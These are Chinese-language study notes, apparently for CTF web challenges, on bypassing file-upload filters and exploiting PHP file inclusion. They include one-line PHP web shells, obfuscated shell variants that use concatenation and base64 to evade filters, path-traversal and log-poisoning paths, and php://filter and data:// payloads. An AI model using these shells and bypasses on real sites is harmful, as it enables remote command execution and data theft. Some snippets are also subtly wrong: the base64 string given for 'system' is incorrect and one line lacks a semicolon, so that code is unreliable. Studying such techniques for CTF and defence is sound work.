目录
文件上传
1)白名单过滤,只允许上传xx,这时候就做一个图片码,将图片码上传上去,用bp抓包,在repeater中修改后缀,然后发送,再去浏览器查看
2)黑名单过滤,不允许上传php、xx等,这时候,上传一个图片码,用bp抓包,在repeater中修改后缀为php3、php4、php5、phtml等;
3.文件有三处修改:后缀、content-type、内容(文件要真的是图片的前缀)
4.不能上传php、php3、php4、phtml等(通过bp也不行),尝试修改配置文件
- 修改htaccess
- 修改user.ini
5.函数过滤
选择其他函数,替换eval(),system()、assert()函数
<?php @eval($_POST["t"])?> # t的值为函数,如t=system(ls ../)
<?php @system($_POST["t"])?> # t的值为命令,如 t= ls
拼接--Eval()不支持
<?php
$a='sys';
$b='tem';
$c=$a.$b;
$c($_POST["c"]) ;
?>
编码绕过--eval不支持
<?php
$a=base64_decode("c31zdGVt"); # c31zdGVt是system的base64编码后的
$a($_POST["c"]);
?>
替换函数str_replace(a,b,c) 将c中a字符串替换为b
<?php
$a=str_replace('abc','ste','syabcm')
$a($_POST["c"]);
?>
![](https://img-blog.csdnimg.cn/direct/71f7f2674cb94fb2b007103ce2be4384.png)
文件包含
PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
PHP相关函数
include
include_once
require
require_once
fopen
readfile
本地文件包含
目录跳转-->../
针对../过滤-->双写..././-->..\
针对添加指定后缀的-->使用%00
针对添加前置目录的-->多使用一次..\
本地文件包含getshell
常见的web日志路径
/var/log/apache2/access.log
/var/log/httpd/access.log
/var/log/nginx/access.log
远程文件包含
PHP伪协议
http://
ftp://
php://filter
phar://
data://
php://filter
可获取指定文件的源码,当它与文件包含函数结合时,可被当做php文件执行;
常见用法示例:
PHP://filter/read=convert.base64-encode/resource=flag.php
data://
数据流封装,以传递特定格式的数据。可以让用户控制输入流,当它与文件包含函数结合时,用户输入的data数据流可被当做php文件执行。
常见用例示例:
data://text/plain,数据流
data://text/plain ;base64,base64编码格式的数据流
例题: